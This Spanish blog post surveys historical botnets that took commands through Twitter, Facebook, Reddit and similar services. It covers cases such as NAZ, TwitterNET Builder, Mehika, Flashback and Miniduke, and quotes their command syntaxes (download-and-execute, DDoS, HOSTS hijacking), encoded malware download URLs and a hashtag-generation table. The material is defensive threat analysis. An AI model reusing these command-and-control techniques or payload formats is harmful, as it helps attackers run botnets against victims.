Una de las caracteristicas principales de las botnets es que disponen de un servidor de control operador por el botmaster y desde el que éste manda ordenes que serán realizadas por todos los nodos zombies de la botnet. Este caracter central del servidor C&C hacía que anulando este nodo central, toda la botnet quedara destruida. Para evitar esto hacia 2009 aparecieron las botnets P2P, pero antes que eso, a los hackers se les ocurrió utilizar servicios públicos para controlarlas. En concreto las redes sociales.
Una botnet controlada mediante twitter tiene ciertas ventajas para el botmaster. Por ejemplo, no necesita de ninguna infraestructura propia o contratada para mantener la botnet. Además la detección de las cuentas de control puede ser muy dificil entre los casi 1000 millones de cuentas que actualmente existen en Twitter.
Muy pocos son los casos de botnet controladas por twitter documentadas. Sin embargo tiene que haber (y haber habido) muchas más de las que comento en esta entrada.
La primera prueba de concepto del control de una botnet usando comandos de twitter (http://digi.ninja/kreiosc2/), se publicó a principios de 2009 y fue mencionada en la Defcon17 en la charla Social Zombies: Your Friends Want To Eat Your Brains.
Se trataba de una botnet que utilizaba autenticación básica, metodo de autenticación que seria posteriormente cambiado por Twitter a OAUTH, mucho mas robusto.
La botnet NAZ
En Agosto de 2009 saltaba la noticia de que se habia descubierto (por casualidad) una botnet controlada mediante twitter. Se difundió por todas partes la captura de pantalla de la cuenta que actuaba como servidor C&C:
Como se puede ver, en el momento de la captura de la imagen la cuenta tenía 7 followers, que no tienen que ser nodos del botnet, ya que los mensajes en twitter son públicos y era a través de éstos que el botmaster se comunicaba con sus nodos.
Esta botnet fue estudiada en mucho detalle en:
Los comandos utilizados eran palabras codificadas en base 64. De hecho los 18 primeros caracteres eran siempre iguales.
Al decodificar estos comandos, se obtenian URLs de bit.ly que redirigian a:
- aHR0cDovL2JpdC5seS8xN2EzdFMg --> http://bit.ly/17a3tS --> http://rifers.org/paste/content/paste/9509/body?key=upd4t3
- aHR0cDovL2JpdC5seS9MT2ZSTyBodHRwOi8vYml0Lmx5L0ltZ2 --> http://bit.ly/LOfRO --> http://rifers.org/paste/content/paste/9508/body?key=upd4t3
- aHR0cDovL2JpdC5seS8xN2w0RmEgaHR0cDovL2JpdC5seS8xN --> http://bit.ly/17l4Fa --> http://rifers.org/paste/content/paste/9507/body?key=upd4t3
- aHR0cDovL2JpdC5seS8zUndBTiBodHRwOi8vYml0Lmx5LzJwU0 --> http://bit.ly/3RwAN --> http://pastebin.com/pastebin.php?dl=m49f3b4c2
- aHR0cDovL2JpdC5seS9wbVN1YyBodHRwOi8vYml0Lmx5LzE3b -->http://bit.ly/pmSuc --> http://paste.ubuntu.com/252515/plain/
- aHR0cDovL2JpdC5seS9HaHVVdSBodHRwOi8vYml0Lmx5L1FqC -->http://bit.ly/GhuUu --> http://rifers.org/paste/content/paste/9506/body
- aHR0cDovL2JpdC5seS9RakFaWQ== --> http://bit.ly/QjAZY --> http://paste.debian.net/44059/download/44059
- aHR0cDovL2JpdC5seS83UGFEOQ== --> http://bit.ly/7PaD9 --> http://paste.debian.net/44056/download/44056
- aHR0cDovL2JpdC5seS9HaHVVdSBodHRwOi8vYml0Lmx5L1FqC -->http://bit.ly/Qj --> http://nossacamiseta.net/product_info.php/products_id/564
- aHR0cDovL2JpdC5seS8zUndBTiBodHRwOi8vYml0Lmx5LzJwU0 --> http://bit.ly/2pS --> http://friendfeed.com/koltregaskes/6c53228d/twine_official-i-ll-e-mail-straight-away-any
- aHR0cDovL2JpdC5seS9MT2ZSTyBodHRwOi8vYml0Lmx5L0ltZ2 --> http://bit.ly/Img --> http://www.friedbeef.com/save-time-on-your-spreadsheets-asap-utilities/
- aHR0cDovL2JpdC5seS8xN2w0RmEgaHR0cDovL2JpdC5seS8xN -->http://bit.ly/1 --> http://www.blogger.com/profile/09172993341866649612
- aHR0cDovL2JpdC5seS9wbVN1YyBodHRwOi8vYml0Lmx5LzE3b -->http://bit.ly/17 --> http://www.17tech.com/soft/index.shtml
Entre estas URLs se podian distinguir dos grupos bien diferenciados, los enlaces que apuntaban a descargas de malware (los 8 primeros) y otros enlaces aparentemente no maliciosos (los ultimos 5).
Tiene todo el aspecto de que se trataran de URLs donde descargarse malware que iban cambiando cada poco tiempo. De hecho los tweets se habian producido a un ritmo medio de 2 cada hora.
Finalmente se encontraron con 4 pares de ficheros .EXE/.DLL desconocidos hasta el momento.
Buscando esa misma cuenta, upd473 en otras redes sociales, el investigador también encontró que la botnet tambien se conectaba a otro servicio de microblogging (llamado Jaiku.com y ya desaparecido) para enviar comandos similares:
Incluso encontró una cuenta de Tumblr similar pero abandonada:
Unos dias más tarde, el 26 de Agosto de 209, alguien reportó a twitter la existencia de una cuenta similar llamada botn3tcontrol que, por supuesto fue cerrada a las pocas horas.
TwitterNET Builder
El 19 de Mayo de 2010 bitdefender informaba de la existencia de un Kit de desarrollo de botnets basados en twitter.
El Kit habia sido llamado TwitterNET Builder y no es dificil encontrar varios videos en youtube demostrando su fucnionamiento:
Este kit permitiría a cualquier script kiddie crear una botnet controlada mediante twitter. Lo cierto es que los comandos eran muy ingenuos, escritos en texto plano y muy facilmente detectable por cualquiera que hiciera un busqueda en twitter.
En dicho kit, el master podia mandar los siguientes comandos a los bots:
- .VISIT, con parametros separados por '*': .VISIT*URL*1. El comando haría que el equipo infectado visitara una URL. en una ventana visible (1) o invisible (0).
- .SAY, con un único parametro. .SAY*Hola. Este comando envia el texto pasado como parametro al motor de habla Text-To-Speech Engine de microsoft para que suene por los altavoces lo que se indique como parámetro.
- .DOWNLOAD, con dos parámetros, el primero la URL a visitar y el segundo un 0 o un 1: .DOWNLOAD*URL/somefile.exe*0 . La URL le indica al bot de donde descargar un fichero y el segundo parámetro le indica si ejecutarlo o no.
- .DDOS*IP*PORT, lanza un flood attack contra la IP indicada en el puerto indicado.
- .STOP se asegura de que deja de hacer lo que se le mandó en el ultimo comando y vuelve al estado de escucha.
- .REMOVEALL desconecta al bot de twitter y lo deja en estado de reposo hasta la siguiente conexion, haciendolo asi menos visible.
En el articulo anterior comentaban que consideraban este kit como creado por un “wanabee”, ya que no habia puesto ningun esfuerzo en ocultar la naturaleza de los tweets.
Llama la atención que, en este caso, la cuenta de twitter no tenía ningún seguidor, ni seguia a nadie, haciendolo de esta manera “independiente”, del resto de la red de twitter, pero invisible ya que esos tweets siempre se pueden buscar.
La botnet Mehika
El 15 de Septiembre de 2010 aparecía la noticia de otra “twitter botnet” en mexico.
Esta botnet resultó ser una evolución de TwitterNet Builder escrita por un hacker mexicano. Bastante ingenuo tambien:
Trendmicro explicó en detalle el funcionamiento de la botnet en este paper.
Leyéndolo sabemos, entre otras muchas cosas, que fue escrito en PHP y que se dirigia al publico en general de habla hispana. También cuáles eran los comandos que utilizaba:
- ADDHOST: añade una nueva entrada al fichero HOSTS del equipo infectado usando la sintaxis:
“ADDHOST [IP address] [domain].”
Al recibir el comando, el equipo zombie añade dos lineas al fichero HOSTS del PC víctima. La primera línea es la IP y el dominio, la segunda la linea es la misma IP pero con el subdominio “www”.
- NEWHOST: Similar al comando ADDHOST, sin embargo antes de añadir una nueva entrada al fichero HOSTS, lo borra por completo. Crea un nuevo fichero HOSTS (en español).
- RESTARHOST: Este comando elimina el contenido del fichero HOSTS y lo reemplaza con un fichero HOSTS legítimo.
- VISITED: Fuerza al usuario a visitar un página web en concreto. Este comando, sin embargo, solo soporta los protocolos HTTP y HTTPS. El comando tiene el formato:
“VISITED [URL a visitar]”
...y cambia las cadenas “http” y “https” de la URL por “tttp” y “tttps”, respectivamente. Este tipo de comandos son utiles cuando se abren páginas maliciosas, pero no al descargar ficheros, ya que en este caso se requiere intervencion del usuario.
- MSN: Envía un mensaje con una URL a los contactos de MSN de la víctima, cuando el usuario comprometido ejecute la aplicación de mensajería instantanea en el equipo infectado.
Cuando el usuario de un equipo infectado envie un mensaje instantaneo, toda la gente con la que tenga una conversacion activa recibirá un mensaje de spam. Y cada vez que el usuario envia 10 mensajes legitimos, el bot reenvia el mismo mensaje de Spam.
- DOWNLOAD: Descarga y ejecuta un fichero en concreto de una URL remota. Como ocurria antes, el malware cambiará “http” y “https” por “tttp” y “tttps,” respectivamente.
- HOMEPAGE: Cambia la página de inicio del navegador del equipo víctima. Esto sólo funciona en las versiones en español e inglés de Internet Explorer y Firefox.
- SENDMAIL: Le indica al equipo zombie que envíe un correo electrónico al botmaster para reportar información que le permitirá saber el tamaño de la botnet.
Pruebas de concepto
El 12 de Agosto de 2010 Yeahcricket, programaba "en un rato" un troyano que se controlaba por Twitter:
En este caso algunos comandos son:
- decir: XXXXX< --> Muestra un cuadro de dialogo con lo que queremos que le aparezca a la victima en pantalla.
- visitar: URL --> Hace que se abra el navegador de la victima y se visite la página que le hemos indicado.
- mostrar imagen: URL --> Muestra una imagen en la pantalla de la victima.
En https://www.youtube.com/watch?v=JBreWkcbQnk muestran otra prueba de concepto, con comandos como GOTO, STOP, TWIT...
Se tratan de pruebas de concepto, pero permiten darse cuenta de lo simple que es realizar una botnet controlada por twitter.
Bitcoin Twitter botnet
El 2 de Agosto de 2011, F-Secure destapaba la existencia de una botnet controlada por twitter que permitia a los botmaster minar bitcoins con los equipos infectados.
La cuenta de twitter que utilizaba aparente aun sigue abierta, pero no ha sido actualizada desde Julio de 2011:
La botnet descargaba un software de minado de bitcoins, desde una cuenta de dropbox, que era instalada en el equipo y se quedaba a la espera de los comandos del botmaster desde Twitter.
Los comandos utilizados en este caso, aunque en texto claro, no dejan del todo clara su estructura:
BM|50|http://fatjakey.co.uk/biz/bc_miner/bitcoin-miner.exe|http://mineco.in:3000/|benjie4444.explorer|svchost
Podriamos aventurar que BM indica que el equipo victima mine 50 bitcoins (BM|50) con la aplicacion indicada en la URL y el resultado se suba a http://mineco.in:3000 con el usuario benjie4444.explorer y la contraseña svchost. Aunque son todo meras conjeturas.
Otros comandos que podemos encontrar en dicha cuenta son:
- VV|http://0525e463.qqc.co
- VI|http://0525e463.qqc.co
Aunque no podemos aventurar su significado exacto, probablemente indiquen a los nodos zombies la descarga de nuevo malware, o de nuevas funcionalidades del malware. La URLs a las que apunta hace mucho que ya no existen.
En esta URL se explicaba un poco más en detalle su funcionamiento y comandos:
Start Bitcoin Mining:
START [PERCENTAGE OF CPU TO USE] [POOL URL] [WORKER USERNAME] [WORKER PASSWORD]
Stop Bitcoin Mining:
STOP
Kill (Uninstall):
KILL
No parece ser exactamente el mismo malware pero definitivamente es una evolución del mismo, ya que el creador (sekurity.ws) es el mismo. De hecho esta podria ser una version anterior.
Flashback botnet
El 5 de Marzo de 2012 se conocía de la existencia de un malware para Mac que utilizaba Twitter como su canal C&C.
En este caso, en vez de usar una única cuenta, que puede ser eliminada, hacía que los equipos infectados buscaran en twitter unos determinados hashtags. Estos hashtags eran caracteres aparentemente aleatorios que cambiaban a diario. Dichos hashtags constaban de 12 caracteres, que tenian un significado. Los cuatro primeros caracteres identificaban el día, los siguientes 4 caracteres identificaban el mes y los 4 últimos identificaban el año. Estos caracteres se escogian a partir de la tabla:
0 gbqj 18 kudd
1 dljt 19 nwal
2 yfad 20 hmca
3 kpsh 21 dqyo
4 igaw 22 kkag
5 pepb 23 viqt
6 ezcn 24 wpld
7 hwpd 25 nsiy
8 drir 26 myvo
9 rnwp 27 rgel
10 updw 28 zlxl
11 jsng 29 djno
12 xeoa 30 beti
13 rgdg 31 ewof
14 aofl 32 mqan
15 oeur 33 xsco
16 dspu 34 jfiq
17 jyuv
Así, al buscar el hashtag #pepbyfadxeoa, estaban buscando comandos para el 5 de Marzo de 2012. El de hoy, 4 de Febrero de 2015 seria el hashtag #igawdljtoeur. Al buscarlo en twitter no ha salido nada.
De esta manera el bot, cada cierto tiempo hacía la peticion GET correspondiente al dia en curso, por ejemplo GET http://mobile.twitter.com/searches/q=%23pepbyfadxeoa y si habia algun tweet, ejecutaba el comando que lo acompañaba.
La ventaja de este método de control es que se puede controlar desde cuaquier cuenta nueva o comprometida. El inconveniente es que, una vez que se hagan públicos los códigos de los hashtag, la botnet esta muerta.
Tras una minuciosa investigación, se ha sabido que la idea de este malware era utilizar twitter unicamente en caso de que se perdiera contacto con la totalidad de servidores C&C que utilizaba la botnet. Cabe mencionar que nunca se encontró ningun mensaje con hashtag válido por lo que cabe pensar que los atacantes podrian o no haber lo usado nunca o haber borrado sus tweets tras asegurarse que los bots los hubieran leido.
Twitter botnet masiva
El pasado 10 de Marzo de 2014, un ingeniero de sistemas destapaba por casualidad una botnet basada en twitter. En este caso, la botnet tendria al menos 35000 nodos, pero los comandos, en este caso simularían ser SPAM, con textos como los siguientes:
- I dont know much about Haarp but Edward Snowden is the one thats revealing it to the world and to the newspapers so will become the”
- “Oh, its the weekly kill Edward Snowden shout out from and !”
- "Son? Ure hungry Ma : Ok my sonmofe: Yh lol : Its all black : Wasup with it? : mofe dis ur new avi”
- "I wonder if Edward Snowden is a dignitary"
En total se encontraron mas de 35 mensajes de este tipo. Esto nos recuerda al proyecto spamimic en el que se pueden esconder comandos en textos que parezcan ser SPAM. Los atacantes podrian haber preparado un motor similar al de spamimic con un conjunto de keywords y URLs limitados para no sobre pasar los 140 caracteres de un tweet.
Y es que habría muchas formas de esconder mensajes dentro de tweets para mandar comandos a una botnet. En el paper Social networking for Botnet Command and Control proponen
una bot con hasta 300 keywords que son diferentes para cada dia del mes. De esta manera los mensajes de twitter tendrian una primera palabra correspondiente al dia del mes del estilo:
- facebook
- hotels
- walmart
- ...
... y una segunda palabra con el comando en sí:
Esta es una idea, pero las formas de esconderse son infinitas.
Facebook (Whitewell)
El 31 de Octubre de 2009 Symantec publicó la existencia de un malware/botnet que utilizaba Facebook como canal de control.
El botmaster debia logarse a su cuenta y añadir una entrada con un título en concreto. En la siguiente imagen el comando era el titulo: "Wells":
Los bots de esta botnet podían recibir al menos los siguientes comandos:
- Wells: Hace que el equipo infectado añada un mensaje con la fecha y la hora a la conversacion y espere.
- WebServer: Tiene como parametro una URL (codificada en base64) a la que la victima se conectara y desde la que el bot puede recibir comandos.
- White: Tiene como parametro la URL (codificada en base64) de un ejecutable que sera descargado y ejecutado.
La opcion webserver redirige al bot a una URL en que se encontrará un simple web server en la que la página de descarga incluya un comnetario con un comando. Por ejemplo el comando "", que es un comentario HTML que significa HELLO en BASE64 y le indica que al bot que "bienvenido a la botnet". Posteriormente el bot podra recibir los siguientes comandos, todos ellos codificados en BASE64:
- Pslist --> Envía de vuelta la lista de procesos en ejecución
- Pskill --> Mata un proceso
- Localpath --> Devuelve la ruta local del ejecutable malicioso
- http:// --> Descarga un fichero.
- exit --> Desactiva el troyano.
Para más información ver este enlace.
iWorm botnet
Se hizo publica el pasado 2 de octubre. y se sabe que infecto hasta a 18500 equipos.
En el caso de iworm, el malware seguia usando servidores C&C de la manera tradicional, pero la forma de publicitarlos era publicar sus IPs en un entrada de reddit del tema "minecraftserverlists" con el nombre de usuario "vtnhiaovyd":
El bot leía el listado de IPs cada 5 minutos y escogía una de las 29 IPs al azar para conectarse a ella.
Miniduke
El 20 de Mayo de 2014 se informaba de que Miniduke tambien tenia un module que consultaba Twitter para obtener servidores C&C reales a los que conectarse.
El funcionamiento de Miniduke era bastante más complejo que los anteriores. Inicialmente buscaba en la cuenta @FloydLSchwartz tweets con el tag X))) y si los encontraba leia las IPs que se incluian a continuación y los utilizaba como servidores C&C.
En caso de no encontrar ninguna IP válida usando este método, cambiaba la cuenta de twitter en la que buscaba las IPs de los servidores C&C. Esta nueva cuenta cambiaba cada semana siguiendo un algoritmo basado en la fecha. Las siguientes son las cuentas que se usaron en 2013 y 2014:
AA2ADcAOAA
AA2ADQAN
AA2ADYA
AA4ADAAN
AA4ADIAM
AA4ADQAMg
AA5ADkANA
AAtADEAMA
AAtADEAOAA
AAtADIA
AAxAC0AM
AAxADgAMgA
AAxADIA
AAxADQA
AAxADQAM
AAyADAAMAA
AAyADkANw
AAzADYANwA
gA0ADAANAA
gA0ADIA
gA0ADQAN
gA0ADYAMw
gA1AC0A
gA1ADYAMg
gA3ADgAO
gAtADEAMw
gAwADMA
gAwADUANQ
gAxADcA
gAxADEAO
gAxADIAM
gAxADMAMwA
gAyADMANA
gAzADgANgA
QA0ADMA
QA1ADcA
QA1ADgAM
QA1ADQAMgA
QA1ADUAOA
QA2ADAAMQ
QA2ADEAMg
QA2ADkA
QA2ADkAMAA
QA3ADkAMgA
QA3ADkAN
QA3ADQAMQA
QA3ADUAMg
QA3ADYANw
QA4AC0A
QA4AC0AMQA
QA4ADcA
QA4ADYANw
QA5ADIANAA
QA5ADMA
QA5ADQA
QAtADEAN
QAtADEANwA
QAtADgAMAA
QAtADgAMw
QAtADIAMA
QAwADQA
QAxADEA
QAxADEAMQA
QAxADEAN
QAxADgAOAA
QAxADkA
QAxADMAMwA
QAxADQA
QAxADQANAA
QAxADUAN
QAyADAAN
QAyADAANA
QAyADEAM
QAyADgAM
QAyADMAMQA
QAzADAAN
QAzADcAOA
QAzADgA
QAzADgAM
QAzADgAOAA
QAzADIANw
wA1ADcAN
wA1ADMAO
wA2AC0ANw
wA2ADcAOA
wA2ADgAOAA
wA4ADEAOQ
wAtADEAMAA
wAtADQAOA
wAwADQAM
wAxADEA
wAxADMA
wAyADQA
wAzADQAM
wAzADQAO
wAzADUA
La unica característica en comun es que el segundo era siempre una "A" mayusucula.
Una vez que el bot se conectaba a esa cuenta, miniduke buscaba URLs terminadas en XHtml, URLs que renombraba terminando su direccion con ".PHP".
El caso explicado en este enlace es similar. En este caso se consultaba cual habia sido el Trending Topic del día y a partir de éste se generaba un nombre de dominio, que sería el C&C de dos días después.
Otros casos
Por ultimo comentar que tambien se han encontrado casos de botnets se conectaban a una cuenta de Evernote o bien a una cuenta de Google Docs.
También recomiendo leer este post donde se habla de malware que utiliza otro metodos para obtener información de sus servidores C&C.
En este otro enlace explican el caso de un malware que usaba Google Groups como servidor C&C.